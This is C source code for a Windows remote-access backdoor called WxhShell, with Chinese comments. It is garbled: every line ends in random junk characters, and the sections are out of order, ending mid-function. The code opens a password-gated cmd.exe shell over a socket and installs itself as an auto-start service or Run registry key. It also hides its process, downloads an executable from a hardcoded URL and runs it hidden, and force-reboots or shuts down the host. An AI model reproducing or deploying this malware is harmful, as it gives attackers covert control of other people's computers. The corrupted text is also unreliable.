    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '*Ld,`  
    if(Boot(SHUTDOWN)) }$ Kd-cj+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CTxP3a9]  
    else { @uanej0q7  
    closesocket(wsh); |*Oi:)qt  
    ExitThread(0); p7HLSB2Rp  
    } U+C ^"[B  
    break; :}-?X\|\  
    } {WQ6=wGpS  
  // 获取shell vKfjP_0$  
  case 's': { NK'@.=$  
    CmdShell(wsh); Sh?eb  
    closesocket(wsh); qW'L}x  
    ExitThread(0); J~50#vHY  
    break; Nr).*]g@~  
  } dGz4`1(>  
  // 退出 ]wi0qc2 {  
  case 'x': { D4uAwmc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?% A 2  
    CloseIt(wsh); [B+:)i  
    break; iio-RT?!  
    } Kmw #Q`  
  // 离开 .Lu3LVS  
  case 'q': { *z.rOY= 8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }D.\2x(J  
    closesocket(wsh); X5)(,036  
    WSACleanup(); Kr;=4xg=  
    exit(1); Et0)6^-v  
    break; ;cZp$ xb3  
        } cBv"d ~  
  } z;ku*IV  
  } _"*s x-  
UtQCTNjC{  
  // 提示信息 zx*D)i5-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hljKBx ~  
} _O ;4>  
  } CGkx_E]  
B^/k`h6J  
  return; o\; hF3   
} U<E]c 4*  
Dwr 9}Z-]  
// shell模块句柄 Bf6i{`!G  
int CmdShell(SOCKET sock) E+LQyvF[  
{ cOZBl;}  
STARTUPINFO si; +S`cUn7  
ZeroMemory(&si,sizeof(si)); !IA\c(c^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .!Kqcz% A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \CV HtV  
PROCESS_INFORMATION ProcessInfo; Xo&\~b#-  
char cmdline[]="cmd"; cbs ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); adAdX;@e`  
  return 0; $R NHRA.  
} +\)Y,@cw  
vU]n0)<KB  
// 自身启动模式 -GM"gkz  
int StartFromService(void) hQlyqTP|2  
{ T7Y}v,+-  
typedef struct ]>Gi_20*.  
{ P}qpy\/(4  
  DWORD ExitStatus; =LKM)d=1  
  DWORD PebBaseAddress; _zi| GD  
  DWORD AffinityMask; 6:6A" A  
  DWORD BasePriority; YDj5+'y  
  ULONG UniqueProcessId; Jb^{o+s53  
  ULONG InheritedFromUniqueProcessId; 29VX-45  
}   PROCESS_BASIC_INFORMATION; xplV6q`  
Wq"-T.i  
PROCNTQSIP NtQueryInformationProcess; ]f&f_"D  
e+D]9wM8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; IV1Y+Z )  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Dln1 R[  
9%"`9j~H>  
  HANDLE             hProcess; 1uCF9P ai  
  PROCESS_BASIC_INFORMATION pbi; >tx[UF@P@  
SM2N3"\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r4DHALu#)  
  if(NULL == hInst ) return 0; qvK/}  
}L&LtW{X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3bR%#G%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^SKHYo`,,N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )rt%.`  
SMJRoK3  
  if (!NtQueryInformationProcess) return 0; E`<ou_0N@q  
{K6Z.-.`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A~lc`m-  
  if(!hProcess) return 0; E*wG5] at  
#z<# oC5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EtaKo}!A}  
! K_<hNG&  
  CloseHandle(hProcess); q-ko)]  
he:z9EG}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W$()W)   
if(hProcess==NULL) return 0; `wQs$!a  
}f14# y;  
HMODULE hMod; t|h c`|  
char procName[255]; Zq<j}vVJ  
unsigned long cbNeeded; 0a^bAEP  
|WEl5bNc3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X!mJUDzh]  
u[Si=)`VPk  
  CloseHandle(hProcess); au/LoO#6Ro  
VJT /9O)Z|  
if(strstr(procName,"services")) return 1; // 以服务启动 Y_n3O@,  
{"%a-*@%  
  return 0; // 注册表启动 R! On  
} EP>Lh7E9n  
('UTjV  
// 主模块 0t}v@-abU  
int StartWxhshell(LPSTR lpCmdLine) t[|t0y8  
{ <hiv8/)?  
  SOCKET wsl; ViMl{3  
BOOL val=TRUE; aq8./^  
  int port=0; #;W4$ q  
  struct sockaddr_in door; }+G5i_a  
~ {yy{  
  if(wscfg.ws_autoins) Install(); ]Y!Fz<-;P  
%7P]:G+Y\  
port=atoi(lpCmdLine); .P/0 `A{&  
$I>]61l%  
if(port<=0) port=wscfg.ws_port; $/tj<++W  
eq(h {*rC  
  WSADATA data; 9H/R@i[E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v}a {nU'  
~:o$}`mW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'SoBB:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5`+9<8V  
  door.sin_family = AF_INET; >1;jBx>Qy%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]+3M\ ib  
  door.sin_port = htons(port); C;K+ITlJ  
7pQ 5`;P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6 U[VoUU   
closesocket(wsl); j BBl{  
return 1; -]Su+/3(,  
} bhIShk[  
g?Nk-cg  
  if(listen(wsl,2) == INVALID_SOCKET) { #asi%&3pP  
closesocket(wsl); <tZZ]Y]  
return 1; eOF *|9  
} oH?:(S(  
  Wxhshell(wsl); u)I\R\N  
  WSACleanup(); PpBptsb^|J  
EPH" 5$8  
return 0; <!XunXh  
+6P[TqR  
} ab%I&B<b  
V| kN 1 A  
// 以NT服务方式启动 T 4p}5ew'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KN`k+!@/7  
{ -6s:D/t1'  
DWORD   status = 0; !/u  
  DWORD   specificError = 0xfffffff; <N$Hb2b  
"0[`U(/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a^@.C5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d=%NFCIV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9N)I\lcY  
  serviceStatus.dwWin32ExitCode     = 0; 2|& S2uq  
  serviceStatus.dwServiceSpecificExitCode = 0; { +w.Z,D"  
  serviceStatus.dwCheckPoint       = 0; w9VwZow  
  serviceStatus.dwWaitHint       = 0; ?O#,{ZZf=  
z,x )Xx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ao}<a1f  
  if (hServiceStatusHandle==0) return; dVj2x-R)  
:i?6#_2IC  
status = GetLastError(); h8 N|m0W  
  if (status!=NO_ERROR) 5R~M@   
{ WQ[n K5#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '@hUmrl  
    serviceStatus.dwCheckPoint       = 0; =FV(m S  
    serviceStatus.dwWaitHint       = 0; tlUh8os  
    serviceStatus.dwWin32ExitCode     = status; 7<MEMNYX  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;hO6 p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _.V5-iN  
    return; ~5%3]  
  } JZ`h+fAt  
g =Xy{Vm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UCfouQCj  
  serviceStatus.dwCheckPoint       = 0; W}TP(~x'N  
  serviceStatus.dwWaitHint       = 0; (?R!y -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M(K7xx+G  
} .\ fpjQW  
p|A ?F0  
// 处理NT服务事件,比如:启动、停止 7`t"fS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >| ,`E  
{ _v0iH   
switch(fdwControl) E]/2 u3p  
{ .x,y[/[[)  
case SERVICE_CONTROL_STOP: I8)D   
  serviceStatus.dwWin32ExitCode = 0; {m~)~/z?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #2ta8m),  
  serviceStatus.dwCheckPoint   = 0; MooH`2Fd  
  serviceStatus.dwWaitHint     = 0; 6A]I" E]5  
  { 6P717[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vu^mLc  
  } !(?7V  
  return; )AkBo  
case SERVICE_CONTROL_PAUSE: &T0]tzk*,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6wWhM&Wd  
  break; YlbX_h2S"  
case SERVICE_CONTROL_CONTINUE: .-M5.1mo\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xcWR#z{z  
  break; lqmQQ*Z  
case SERVICE_CONTROL_INTERROGATE: xO>z )3A  
  break; %|}*xMQ  
}; '#3FEo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y=G`~2Pr=  
} )M+po-6$1  
{!wW,3|Pu  
// 标准应用程序主函数 HYGd :SeH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p:y\{k"  
{ IS(F_< .  
QR"+fzOL  
// 获取操作系统版本 9G SpDc  
OsIsNt=GetOsVer(); 3\j`g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >xS({1A}  
nfHjIYid  
  // 从命令行安装 bk<Rp84vL  
  if(strpbrk(lpCmdLine,"iI")) Install(); b<~8\\ &  
^`id/  
  // 下载执行文件 uBt ]4d*  
if(wscfg.ws_downexe) { 3c6e$/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :23S%B~X  
  WinExec(wscfg.ws_filenam,SW_HIDE); TBPu&+3  
} I1':&l^O  
7<e}5nA/  
if(!OsIsNt) { E!1\9wzM{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ri8=u$!  
HideProc(); 9MZ)-  
StartWxhshell(lpCmdLine); hDB(y4/  
} K 'l-6JY-  
else Sxc)~y  
  if(StartFromService()) TaYl[I  
  // 以服务方式启动 E-C]<{`O  
  StartServiceCtrlDispatcher(DispatchTable); L%Zr3Ct  
else K)>F03=uE  
  // 普通方式启动 K<5yjG8&  
  StartWxhshell(lpCmdLine); X/:V{2  
&}e>JgBe0  
return 0; ,NZllnW  
} H%Vf$1/TF  
duEXp]f!  
J?m/u6  
5)XUT`;'){  
=========================================== ,P}7e)3  
hGV_K"~I0  
+W[f>3`VQ  
K1J |\!o  
<lIm==U<-  
_xh)]R  
" [q!]Ds" _  
Gn^lF7yE  
#include <stdio.h> @br)m](@  
#include <string.h> vb>F)po1}  
#include <windows.h> sS ?A<D  
#include <winsock2.h> d)!'5Zr M  
#include <winsvc.h> p1d%&e  
#include <urlmon.h> SJP3mq/^K  
}hg=#*  
#pragma comment (lib, "Ws2_32.lib") myX&Z F_9  
#pragma comment (lib, "urlmon.lib") Q >[>{N&\  
KO8{eT9d  
#define MAX_USER   100 // 最大客户端连接数 co8R-AB  
#define BUF_SOCK   200 // sock buffer l VD{Y`)  
#define KEY_BUFF   255 // 输入 buffer P-2DBNB7  
EoPvF`T  
#define REBOOT     0   // 重启 3>7{Q_5  
#define SHUTDOWN   1   // 关机 auAz>6L  
k;cX,*DIn  
#define DEF_PORT   5000 // 监听端口 2#5Q~  
)cizd^{  
#define REG_LEN     16   // 注册表键长度 +d=f_@i  
#define SVC_LEN     80   // NT服务名长度 ,5W u  
h?/E/>  
// 从dll定义API P ah@d!%A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ](R /4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5<*E S[S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J61%a,es  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r-$xLe7a  
e.MyJ:eL  
// wxhshell配置信息 PUO7Z2  
struct WSCFG { S>T ;`,  
  int ws_port;         // 监听端口 +|dL R*s  
  char ws_passstr[REG_LEN]; // 口令 ~ 2Hw\fx  
  int ws_autoins;       // 安装标记, 1=yes 0=no HN367j2e  
  char ws_regname[REG_LEN]; // 注册表键名 Ln&~t(7  
  char ws_svcname[REG_LEN]; // 服务名 Z+U -+eG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ',`Qx{tQ)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aE)1LP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `)8~/G%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _GxC|d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w=_^n]`R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7P3/Ky@6  
.yfp-n4H  
}; $s}w23nB  
3AdYZ7J  
// default Wxhshell configuration "ADI .  
struct WSCFG wscfg={DEF_PORT,  YC 6guy>  
    "xuhuanlingzhe", T;BFO5G@  
    1, Lb Jf5xdi  
    "Wxhshell", 2Cy,#X%j>  
    "Wxhshell", z@e(y@  
            "WxhShell Service", s'N<  
    "Wrsky Windows CmdShell Service", [! ;sp~  
    "Please Input Your Password: ",  t{},Th  
  1, x[TLlV:{  
  "http://www.wrsky.com/wxhshell.exe", WxYEu +_  
  "Wxhshell.exe" YJ ,"@n_  
    }; iNkN'("  
 ~ e?af  
// 消息定义模块 QlB9m2XB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )=gU~UV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *ilVkV"U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q)?!]|pZ  
char *msg_ws_ext="\n\rExit."; ~ :{mKc  
char *msg_ws_end="\n\rQuit."; H0OO +MCe  
char *msg_ws_boot="\n\rReboot..."; -?#iPvk6  
char *msg_ws_poff="\n\rShutdown..."; o9| OL  
char *msg_ws_down="\n\rSave to "; |(W04Wp"@  
egA* x*8  
char *msg_ws_err="\n\rErr!"; l*hWws[  
char *msg_ws_ok="\n\rOK!"; ?QF xds  
7=yM40  
char ExeFile[MAX_PATH]; ]SAY\;,_  
int nUser = 0; qm/>\4eLt  
HANDLE handles[MAX_USER]; + @fEw  
int OsIsNt; :](#W@ r  
h`9 & :zr  
SERVICE_STATUS       serviceStatus; :+\sKEzL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i^:#*Q-co  
a8)2I~j  
// 函数声明 ]Zh$9YK  
int Install(void); M __S)  
int Uninstall(void); ?QKD YH(  
int DownloadFile(char *sURL, SOCKET wsh); w6> P[oW  
int Boot(int flag); 1!)'dL0mI  
void HideProc(void); 4KxuSI^q  
int GetOsVer(void); #E Bd g  
int Wxhshell(SOCKET wsl); u!~kmIa4  
void TalkWithClient(void *cs); rd%uc~/  
int CmdShell(SOCKET sock); Pw]+6  
int StartFromService(void); _oa*E2VN  
int StartWxhshell(LPSTR lpCmdLine); a.UYBRP/l  
{7oPDP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o8:9Y js  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #w5%^ HwO  
H1?C:R  
// 数据结构和表定义 ~kV>nx2  
SERVICE_TABLE_ENTRY DispatchTable[] = ;TDvk ]:  
{ Jo[ &y,  
{wscfg.ws_svcname, NTServiceMain}, !jB}}&Ii  
{NULL, NULL} 8q]"CFpa  
}; +<@1)qZ(E  
O\cc=7  
// 自我安装 `2+TN  
int Install(void) C[Q4OAFG  
{ U:7w8$_  
  char svExeFile[MAX_PATH]; `x?_yogPM  
  HKEY key; eV(.\Lj  
  strcpy(svExeFile,ExeFile); =os!^{p7>  
X)j%v\#`U  
// 如果是win9x系统,修改注册表设为自启动 )O*h79t^Q  
if(!OsIsNt) { y[Dgyt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;{wzw8!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h5l_/v d  
  RegCloseKey(key); ZR=i*y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jT0iJ?d,!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %/\sn<6C}  
  RegCloseKey(key); G2n. NW#d4  
  return 0; dzbbFvG  
    } :8bq0iqsV  
  }  \>"Zn7  
} +|GHbwvp  
else { b(U5n"cdA  
wO!>kc<  
// 如果是NT以上系统,安装为系统服务 Av n-Ug  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QYDI-<.(  
if (schSCManager!=0) p;, V  
{ )AieO-4*  
  SC_HANDLE schService = CreateService 6IK>v*<  
  ( Z?[ R;V1j  
  schSCManager, u&={hJ&7  
  wscfg.ws_svcname, >_]Ov:5  
  wscfg.ws_svcdisp, PmsZ=FY  
  SERVICE_ALL_ACCESS, 1xkk5\3]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9+ve0P7$  
  SERVICE_AUTO_START, Sa)L=5Nr  
  SERVICE_ERROR_NORMAL, P^Og(F8;  
  svExeFile, B/Q>i'e  
  NULL, e$ QMR.'  
  NULL, =7kn1G.(  
  NULL, H9BqE+  
  NULL, ]o'dr r  
  NULL G]xN#O;  
  ); p[|V7K'Z  
  if (schService!=0) >#S}J LZ  
  { 7|Wst)_~j  
  CloseServiceHandle(schService); h0 %M+g  
  CloseServiceHandle(schSCManager); D=D.s)ns*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $@^\zg1n  
  strcat(svExeFile,wscfg.ws_svcname); H%=;pD>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xe`$SNM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^f(El(w  
  RegCloseKey(key); 4R01QSbd  
  return 0; fCs{%-6cP  
    } 75P!`9bE  
  } -; d{}F  
  CloseServiceHandle(schSCManager); 7?_g m>]a  
} k&K'FaM!  
} v?nGAn  
rOUQg_y  
return 1; 8&+u+@H  
} (?T{^Hg  
3-;<G  
// 自我卸载 SFP?ND+7  
int Uninstall(void) *fyaAv  
{ ,5~C($-t  
  HKEY key; 9w0v?%%_  
&'i.W}Ib!  
if(!OsIsNt) { 3WGOftLzt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Em.sz;:8  
  RegDeleteValue(key,wscfg.ws_regname); \G/ZA) t  
  RegCloseKey(key); A2PeI"y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;u';$0  
  RegDeleteValue(key,wscfg.ws_regname); z+0#H39&  
  RegCloseKey(key); s"tH?m )6  
  return 0; S?'L%%Vo  
  } 1v|0&{lB  
} $Mx?Y9!  
} ]E.FBGT  
else { Ka)aBU9  
1csbuR?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o {q8An)  
if (schSCManager!=0) JNvgUb'U  
{ n0':6*oGW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gh3f^PWnc  
  if (schService!=0) $b_~  
  { U+ D#  
  if(DeleteService(schService)!=0) { V+|$H h8  
  CloseServiceHandle(schService); ]P^ 3uXi  
  CloseServiceHandle(schSCManager); 9CIQRc  
  return 0; PCBV6Y7r  
  } m60hTJ?N)  
  CloseServiceHandle(schService); ^6CPC@B1  
  } n34d "l3  
  CloseServiceHandle(schSCManager); h^{ aG])  
} r24 s_  
} mxc^IRj  
Z0V6cikW6  
return 1; 54s90  
} 6l"4F6  
@'J~(#}  
// 从指定url下载文件 tg%Sn+:  
int DownloadFile(char *sURL, SOCKET wsh) hn&NypI  
{ 3Dh{#"88  
  HRESULT hr; 1iM(13jW  
char seps[]= "/"; !D 'A  
char *token; S->Sp  
char *file; 5VN~?#K  
char myURL[MAX_PATH]; NfCo)C-t  
char myFILE[MAX_PATH]; ypA 9WF  
WUx2CK2N  
strcpy(myURL,sURL); #Oa`P  
  token=strtok(myURL,seps); h9. Yux  
  while(token!=NULL) q}"HxMJ  
  { r6:nYyF$)v  
    file=token; $z@nT.x5  
  token=strtok(NULL,seps); m Le 70U  
  } JJ_KfnH  
gp{Z]{io  
GetCurrentDirectory(MAX_PATH,myFILE); gi? wf  
strcat(myFILE, "\\"); |Y+[_D}  
strcat(myFILE, file); [Fd[(  
  send(wsh,myFILE,strlen(myFILE),0); c-?0~A  
send(wsh,"...",3,0); ZmaW]3$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?/Aql_?3  
  if(hr==S_OK) 'HWPuWW  
return 0; 0+rBGk  
else 1Zp^X:(  
return 1; H Mfhe[A?  
HN&]`cr;  
} o107. s  
o|VM{5  
// 系统电源模块 $fW8S8  
int Boot(int flag) g*%o%Lv  
{ QP6a,^];  
  HANDLE hToken; #t">tL  
  TOKEN_PRIVILEGES tkp; H"V)dEm  
Aacj?   
  if(OsIsNt) { lI[O!Vu Kc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,z$ U=u o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z&|sks7  
    tkp.PrivilegeCount = 1; '&y+,2?;Y[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rAu@`H?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \#'m([<e  
if(flag==REBOOT) { hl+ T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1~*JenV-  
  return 0; oJ 0 #U  
} n{%[G2.A  
else { 8{-bG8L> 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B o[aiT  
  return 0; xC$CRzAe5p  
} HD}3mP  
  } *3y:Wv T>  
  else { f87lm*wZ  
if(flag==REBOOT) { 1,sD'iNb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @0%^\Qf2  
  return 0; TUR2|J@n  
} &PEw8: TX  
else { eJZt&|7N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )G$0:-J-  
  return 0; M7AUY#)  
} !r_2b! dy  
} t. kOR<  
myWa>Mvb  
return 1; OQsF$% *   
} >Co5_sCe  
;e ^`r;]  
// win9x进程隐藏模块 iD!]I$  
void HideProc(void) 2-u9%  
{ Bf6\KI<V2  
'uF"O"*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C5'#0}6i  
  if ( hKernel != NULL ) ;jT@eBJ  
  { C C`Y r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k*= #XbX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;kF+V*  
    FreeLibrary(hKernel); ~YrO>H` B  
  } ' sTMUPg`  
*8xMe  
return; 1"} u51  
} %>k$'UWzK  
5 ]@"f/  
// 获取操作系统版本 ;PX>] r5U0  
int GetOsVer(void) lhx]r}@'MC  
{ A{QA0X!p  
  OSVERSIONINFO winfo; gLPgh%B4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s4{>7`N2  
  GetVersionEx(&winfo); +,ojlTVlt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [5Pin>]z  
  return 1; 2t"&>1  
  else Z\*jt B:  
  return 0; c o%-d  
} 6"Rw&3D?  
%C(^v)"  
// 客户端句柄模块 si3@R?WR6*  
int Wxhshell(SOCKET wsl) =G%L:m*  
{ XVkCYh4,  
  SOCKET wsh; Q"sszz  
  struct sockaddr_in client; S -KHot ?  
  DWORD myID; >-Q=o,cl%3  
A"~4|`W  
  while(nUser<MAX_USER) {Zy)p%j8  
{ IH~[/qNk  
  int nSize=sizeof(client); K-drN)o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +OC~y:  
  if(wsh==INVALID_SOCKET) return 1; q`^ T7  
 q<Zza  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k'JfXrW<!  
if(handles[nUser]==0) =-|,v*  
  closesocket(wsh); O4fl$egQU  
else 8P3"$2q  
  nUser++; 5]yby"Z?}  
  } whvvc2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eUE(vn#  
'?MT " G  
  return 0; $^j#z^7  
} z1 P=P%F  
rRzc"W}K+  
// 关闭 socket OtFGo 8  
void CloseIt(SOCKET wsh) "s5[w+,R  
{ ,$<="kJk  
closesocket(wsh); wW+@3bPl  
nUser--; $ z 5  
ExitThread(0); r:Rk!z*  
} }:a:E~5y  
8[xl3=  
// 客户端请求句柄 EgT?Hvx:  
void TalkWithClient(void *cs) @Lf-=9  
{ g<$q#l~4xH  
:J6lJ8w ?  
  SOCKET wsh=(SOCKET)cs; $c<NEt_\  
  char pwd[SVC_LEN]; U[t/40W}P  
  char cmd[KEY_BUFF]; bL]NSD  
char chr[1]; |Y&&g=7  
int i,j; 0JM`*f%n  
;_Z[' %  
  while (nUser < MAX_USER) { $I }k>F  
DZE@C^ 0%  
if(wscfg.ws_passstr) { _?QVc0S!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #9ZHt5T=$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x|lX1Mh$  
  //ZeroMemory(pwd,KEY_BUFF); }*9mNE  
      i=0; \olYv!f  
  while(i<SVC_LEN) { Ne9S90HsB6  
G  Ps//  
  // 设置超时 ;2jH;$HZ  
  fd_set FdRead; /Mmts=^Ja  
  struct timeval TimeOut; Y~[k_!  
  FD_ZERO(&FdRead); 5Gw B1}q  
  FD_SET(wsh,&FdRead); pa8R;A70Dl  
  TimeOut.tv_sec=8; hX9vtV5L  
  TimeOut.tv_usec=0; H^r;,Q$9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JOFQyhY0>m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~duF2m 72  
!rZ r:@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5l[&-: (Lh  
  pwd=chr[0]; ,Vr-E  
  if(chr[0]==0xd || chr[0]==0xa) { WCUaXvw  
  pwd=0; xfK@tLEZ-1  
  break; ptMDhMVW  
  } G3_HX<|f*  
  i++; qbD>)}:1  
    } ykat0iqo  
oo2CF!Xy  
  // 如果是非法用户,关闭 socket <<l1 zEf@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YgL{*XYAt  
} eNc>^:&y*  
S";c7s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &f($= 68  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9mRP%c#(  
c%@< h6  
while(1) { Ssg1p#0J  
bAS/cuZs  
  ZeroMemory(cmd,KEY_BUFF); )wyC8`&-  
,y}@I"  
      // 自动支持客户端 telnet标准   ^ZPynduR  
  j=0; #bCQEhCy  
  while(j<KEY_BUFF) { 1=z6m7@'-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yB2}[1  
  cmd[j]=chr[0]; WiiAIv&  
  if(chr[0]==0xa || chr[0]==0xd) { IC6r?  
  cmd[j]=0; u1;sH{YK>  
  break; mr2fNA>kR  
  } dwJnPJ=z  
  j++; r%\%tz'`j  
    } uF<}zFS  
{L/hhKT  
  // 下载文件 F_-}GN%  
  if(strstr(cmd,"http://")) { as3*49^9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;:obg/;uJ  
  if(DownloadFile(cmd,wsh)) Tnoy#w}Ve  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7&&3@96<*#  
  else tE WolO[\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IN7Cpg~9%  
  } "6q@}sz!  
  else { sZPyEIXie  
9%Qlg4~<s  
